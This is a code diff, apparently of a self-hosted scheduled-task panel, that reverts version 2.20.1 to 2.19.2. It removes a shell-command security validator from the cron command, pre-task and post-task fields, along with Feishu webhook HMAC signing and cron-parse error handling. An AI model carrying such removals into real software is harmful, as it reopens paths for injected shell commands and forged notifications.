-  // Check for excessive length (potential buffer overflow or obfuscation)
-  if (value.length > 10000) {
-    return helpers.error('string.max', { limit: 10000 });
-  }
-
-  return value;
-};
-
 const validateSchedule = (value: string, helpers: any) => {
   if (
     value.startsWith(ScheduleType.ONCE) ||
@@ -83,25 +32,13 @@ export const scheduleSchema = Joi.string()
 
 export const commonCronSchema = {
   name: Joi.string().optional(),
-  command: Joi.string().required().custom((value: any, helpers: any) => {
-    return validateShellSecurity(value, helpers, 'command');
-  }).messages({
-    'string.unsafe': '命令包含潜在危险的模式，已被安全系统拦截',
-  }),
+  command: Joi.string().required(),
   schedule: scheduleSchema,
   labels: Joi.array().optional(),
   sub_id: Joi.number().optional().allow(null),
   extra_schedules: Joi.array().optional().allow(null),
-  task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
-    return validateShellSecurity(value, helpers, 'task_before');
-  }).messages({
-    'string.unsafe': '前置命令包含潜在危险的模式，已被安全系统拦截',
-  }),
-  task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
-    return validateShellSecurity(value, helpers, 'task_after');
-  }).messages({
-    'string.unsafe': '后置命令包含潜在危险的模式，已被安全系统拦截',
-  }),
+  task_before: Joi.string().optional().allow('').allow(null),
+  task_after: Joi.string().optional().allow('').allow(null),
   log_name: Joi.string()
     .optional()
     .allow('')
@@ -144,5 +81,5 @@ export const commonCronSchema = {
       'string.max': '日志名称不能超过100个字符',
       'string.unsafePath': '绝对路径必须在日志目录内或使用 /dev/null',
     }),
-  allow_multiple_instances: Joi.number().optional().valid(0, 1).allow(null),
+  allow_multiple_instances: Joi.number().optional().valid(0, 1),
 };

docker/docker-entrypoint.sh

@@ -23,11 +23,11 @@ log_with_style() {
 if [ -f /etc/alpine-release ]; then
   if ! grep -q "^options ndots:0" /etc/resolv.conf 2>/dev/null; then
     echo "options ndots:0" >> /etc/resolv.conf
-    log_with_style "INFO" "🔧  0. 已配置 DNS 解析优化 (ndots:0)"
+    log_with_style "INFO" "🔧 已配置 DNS 解析优化 (ndots:0)"
   fi
 fi
 
-log_with_style "INFO" "🚀  1. 检测配置文件..."
+log_with_style "INFO" "🚀 1. 检测配置文件..."
 load_ql_envs
 export_ql_envs
 . $dir_shell/env.sh
@@ -41,16 +41,16 @@ log_with_style "INFO" "⚙️  2. 启动 pm2 服务..."
 reload_pm2
 
 if [[ $AutoStartBot == true ]]; then
-  log_with_style "INFO" "🤖  3. 启动 bot..."
+  log_with_style "INFO" "🤖 3. 启动 bot..."
   nohup ql bot >$dir_log/bot.log 2>&1 &
 fi
 
 if [[ $EnableExtraShell == true ]]; then
-  log_with_style "INFO" "🛠️  4. 执行自定义脚本..."
+  log_with_style "INFO" "🛠️ 4. 执行自定义脚本..."
   nohup ql extra >$dir_log/extra.log 2>&1 &
 fi
 
-log_with_style "SUCCESS" "🎉  容器启动成功!"
+log_with_style "SUCCESS" "🎉 容器启动成功!"
 
 crond -f >/dev/null
 

sample/notify.js

@@ -52,7 +52,6 @@ const push_config = {
   DD_BOT_TOKEN: '', // 钉钉机器人的 DD_BOT_TOKEN
 
   FSKEY: '', // 飞书机器人的 FSKEY
-  FSSECRET: '', // 飞书机器人的 FSSECRET，对应安全设置里的签名校验密钥
 
   // 推送到个人QQ：http://127.0.0.1/send_private_msg
   // 群：http://127.0.0.1/send_group_msg
@@ -482,13 +481,9 @@ function tgBotNotify(text, desp) {
         timeout,
       };
       if (TG_PROXY_HOST && TG_PROXY_PORT) {
-        let proxyHost = TG_PROXY_HOST;
-        if (TG_PROXY_AUTH && !TG_PROXY_HOST.includes('@')) {
-          proxyHost = `${TG_PROXY_AUTH}@${TG_PROXY_HOST}`;
-        }
         let agent;
         agent = new ProxyAgent({
-          uri: `http://${proxyHost}:${TG_PROXY_PORT}`,
+          uri: `http://${TG_PROXY_AUTH}${TG_PROXY_HOST}:${TG_PROXY_PORT}`,
         });
         options.dispatcher = agent;
       }
@@ -994,29 +989,11 @@ function aibotkNotify(text, desp) {
 
 function fsBotNotify(text, desp) {
   return new Promise((resolve) => {
-    const { FSKEY, FSSECRET } = push_config;
+    const { FSKEY } = push_config;
     if (FSKEY) {
-      const body = {
-        msg_type: 'text',
-        content: { text: `${text}\n\n${desp}` },
-      };
-
-      // Add signature if secret is provided
-      // Note: Feishu's signature algorithm uses timestamp+"\n"+secret as the HMAC key
-      // and signs an empty message, which differs from typical HMAC usage
-      if (FSSECRET) {
-        const crypto = require('crypto');
-        const timestamp = Math.floor(Date.now() / 1000).toString();
-        const stringToSign = `${timestamp}\n${FSSECRET}`;
-        const hmac = crypto.createHmac('sha256', stringToSign);
-        const sign = hmac.digest('base64');
-        body.timestamp = timestamp;
-        body.sign = sign;
-      }
-
       const options = {
         url: `https://open.feishu.cn/open-apis/bot/v2/hook/${FSKEY}`,
-        json: body,
+        json: { msg_type: 'text', content: { text: `${text}\n\n${desp}` } },
         headers: {
           'Content-Type': 'application/json',
         },
@@ -1285,15 +1262,7 @@ function ntfyNotify(text, desp) {
   }
 
   return new Promise((resolve) => {
-    const {
-      NTFY_URL,
-      NTFY_TOPIC,
-      NTFY_PRIORITY,
-      NTFY_TOKEN,
-      NTFY_USERNAME,
-      NTFY_PASSWORD,
-      NTFY_ACTIONS,
-    } = push_config;
+    const { NTFY_URL, NTFY_TOPIC, NTFY_PRIORITY, NTFY_TOKEN, NTFY_USERNAME, NTFY_PASSWORD, NTFY_ACTIONS } = push_config;
     if (NTFY_TOPIC) {
       const options = {
         url: `${NTFY_URL || 'https://ntfy.sh'}/${NTFY_TOPIC}`,
@@ -1308,8 +1277,7 @@ function ntfyNotify(text, desp) {
       if (NTFY_TOKEN) {
         options.headers['Authorization'] = `Bearer ${NTFY_TOKEN}`;
       } else if (NTFY_USERNAME && NTFY_PASSWORD) {
-        options.headers['Authorization'] =
-          `Basic ${Buffer.from(`${NTFY_USERNAME}:${NTFY_PASSWORD}`).toString('base64')}`;
+        options.headers['Authorization'] = `Basic ${Buffer.from(`${NTFY_USERNAME}:${NTFY_PASSWORD}`).toString('base64')}`;
       }
       if (NTFY_ACTIONS) {
         options.headers['Actions'] = encodeRFC2047(NTFY_ACTIONS);

sample/notify.py

@@ -49,7 +49,6 @@ push_config = {
     'DD_BOT_TOKEN': '',                 # 钉钉机器人的 DD_BOT_TOKEN
 
     'FSKEY': '',                        # 飞书机器人的 FSKEY
-    'FSSECRET': '',                     # 飞书机器人的 FSSECRET，对应安全设置里的签名校验密钥
 
     'GOBOT_URL': '',                    # go-cqhttp
                                         # 推送到个人QQ：http://127.0.0.1/send_private_msg
@@ -234,20 +233,6 @@ def feishu_bot(title: str, content: str) -> None:
 
     url = f'https://open.feishu.cn/open-apis/bot/v2/hook/{push_config.get("FSKEY")}'
     data = {"msg_type": "text", "content": {"text": f"{title}\n\n{content}"}}
-
-    # Add signature if secret is provided
-    # Note: Feishu's signature algorithm uses timestamp+"\n"+secret as the HMAC key
-    # and signs an empty message, which differs from typical HMAC usage
-    if push_config.get("FSSECRET"):
-        timestamp = str(int(time.time()))
-        string_to_sign = f'{timestamp}\n{push_config.get("FSSECRET")}'
-        hmac_code = hmac.new(
-            string_to_sign.encode("utf-8"), digestmod=hashlib.sha256
-        ).digest()
-        sign = base64.b64encode(hmac_code).decode("utf-8")
-        data["timestamp"] = timestamp
-        data["sign"] = sign
-
     response = requests.post(url, data=json.dumps(data)).json()
 
     if response.get("StatusCode") == 0 or response.get("code") == 0:

src/locales/en-US.json

@@ -389,7 +389,6 @@
   "消息接收人": "message recipient",
   "调用版本；专业版填写pro，个人版填写personal，为空默认使用专业版": "Version, you can specify 'pro' for the Professional version and 'personal' for the Personal version. If left blank, it will default to the Professional version.",
   "飞书群组机器人：https://www.feishu.cn/hc/zh-CN/articles/360024984973": "Feishu group bot: https://www.feishu.cn/hc/zh-CN/articles/360024984973",
-  "飞书群组机器人加签密钥，安全设置中开启签名校验后获得": "Feishu group bot signature secret, obtained after enabling signature verification in security settings",
   "邮箱服务名称，比如126、163、Gmail、QQ等，支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json": "Email service name, e.g., 126, 163, Gmail, QQ, etc. Supported list: https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json",
   "邮箱地址": "Email Address",
   "SMTP 登录密码，也可能为特殊口令，视具体邮件服务商说明而定": "The SMTP login password may also be a special passphrase, depending on the specific email service provider's instructions",

src/locales/zh-CN.json

@@ -389,7 +389,6 @@
   "消息接收人": "消息接收人",
   "调用版本；专业版填写pro，个人版填写personal，为空默认使用专业版": "调用版本；专业版填写pro，个人版填写personal，为空默认使用专业版",
   "飞书群组机器人：https://www.feishu.cn/hc/zh-CN/articles/360024984973": "飞书群组机器人：https://www.feishu.cn/hc/zh-CN/articles/360024984973",
-  "飞书群组机器人加签密钥，安全设置中开启签名校验后获得": "飞书群组机器人加签密钥，安全设置中开启签名校验后获得",
   "邮箱服务名称，比如126、163、Gmail、QQ等，支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json": "邮箱服务名称，比如126、163、Gmail、QQ等，支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json",
   "邮箱地址": "邮箱地址",
   "SMTP 登录密码，也可能为特殊口令，视具体邮件服务商说明而定": "SMTP 登录密码，也可能为特殊口令，视具体邮件服务商说明而定",

src/pages/crontab/modal.tsx

@@ -3,7 +3,7 @@ import config from '@/utils/config';
 import { request } from '@/utils/http';
 import { MinusCircleOutlined, PlusOutlined } from '@ant-design/icons';
 import { Button, Form, Input, Modal, Select, Space, message } from 'antd';
-import CronExpressionParser from 'cron-parser';
+import { CronExpressionParser } from 'cron-parser';
 import { useEffect, useState } from 'react';
 import intl from 'react-intl-universal';
 import { getScheduleType, scheduleTypeMap } from './const';
@@ -91,14 +91,10 @@ const CronModal = ({
             { required: true },
             {
               validator: (_, value) => {
-                try {
-                  if (!value || CronExpressionParser.parse(value).hasNext()) {
-                    return Promise.resolve();
-                  }
-                  return Promise.reject(intl.get('Cron表达式格式有误'));
-                } catch (e) {
-                  return Promise.reject(intl.get('Cron表达式格式有误'));
+                if (!value || CronExpressionParser.parse(value).hasNext()) {
+                  return Promise.resolve();
                 }
+                return Promise.reject(intl.get('Cron表达式格式有误'));
               },
             },
           ]}

src/pages/script/saveModal.tsx

@@ -16,7 +16,7 @@ const SaveModal = ({
 
   const handleOk = async (values: any) => {
     setLoading(true);
-    const payload = { ...values, originFilename: file.title, content: file.content };
+    const payload = { ...file, ...values, originFilename: file.title };
     request
       .post(`${config.apiPrefix}scripts`, payload)
       .then(({ code, data }) => {

src/pages/subscription/modal.tsx

@@ -12,7 +12,7 @@ import {
 } from 'antd';
 import { request } from '@/utils/http';
 import config from '@/utils/config';
-import CronExpressionParser from 'cron-parser';
+import { CronExpressionParser } from 'cron-parser';
 import isNil from 'lodash/isNil';
 
 const { Option } = Select;
@@ -378,17 +378,13 @@ const SubscriptionModal = ({
             { required: true },
             {
               validator: (rule, value) => {
-                try {
-                  if (
-                    scheduleType === 'interval' ||
-                    !value ||
-                    CronExpressionParser.parse(value).hasNext()
-                  ) {
-                    return Promise.resolve();
-                  } else {
-                    return Promise.reject(intl.get('Subscription表达式格式有误'));
-                  }
-                } catch (e) {
+                if (
+                  scheduleType === 'interval' ||
+                  !value ||
+                  CronExpressionParser.parse(value).hasNext()
+                ) {
+                  return Promise.resolve();
+                } else {
                   return Promise.reject(intl.get('Subscription表达式格式有误'));
                 }
               },

src/utils/config.ts

@@ -395,12 +395,6 @@ export default {
         ),
         required: true,
       },
-      {
-        label: 'larkSecret',
-        tip: intl.get(
-          '飞书群组机器人加签密钥，安全设置中开启签名校验后获得',
-        ),
-      },
     ],
     email: [
       {

src/utils/http.tsx

@@ -84,12 +84,12 @@ let _request = axios.create({
 });
 
 const apiWhiteList = [
-  `${config.baseUrl}api/user/login`,
-  `${config.baseUrl}open/auth/token`,
-  `${config.baseUrl}api/user/two-factor/login`,
-  `${config.baseUrl}api/system`,
-  `${config.baseUrl}api/user/init`,
-  `${config.baseUrl}api/user/notification/init`,
+  '/api/user/login',
+  '/open/auth/token',
+  '/api/user/two-factor/login',
+  '/api/system',
+  '/api/user/init',
+  '/api/user/notification/init',
 ];
 
 _request.interceptors.request.use((_config) => {

src/utils/index.ts

@@ -1,6 +1,6 @@
 import intl from 'react-intl-universal';
 import { LANG_MAP, LOG_END_SYMBOL } from './const';
-import CronExpressionParser from 'cron-parser';
+import { CronExpressionParser } from 'cron-parser';
 import { ICrontab } from '@/pages/crontab/type';
 
 export default function browserType() {

version.yaml

@@ -1,11 +1,10 @@
-version: 2.20.1
-changeLogLink: https://t.me/jiao_long/433
-publishTime: 2025-12-26 22:00
+version: 2.19.2
+changeLogLink: https://t.me/jiao_long/431
+publishTime: 2025-06-27 23:59
 changeLog: |
-  1. 修复获取依赖管理列表
-  2. notify.js 修复 TG_PROXY_AUTH 参数拼接
-  3. QLAPI.notify larkSecret 参数
-  4. 修复 cron parser 定时规则校验
-  5. 修复设置 baseUrl 后无法访问
-  6. 修复环境变量排序
-  7. 修复定时任务无法停止
+  1. 备份数据支持选择模块，支持清除依赖缓存
+  2. QLAPI 和 openapi 的 systemNotify 支持自定义通知类型和参数
+  3. ntfy 增加可选的认证与用户动作，感谢 https://github.com/liheji
+  4. 修复取消安装依赖
+  5. 修复环境变量过大解析报错
+  6. 修改服务启动方式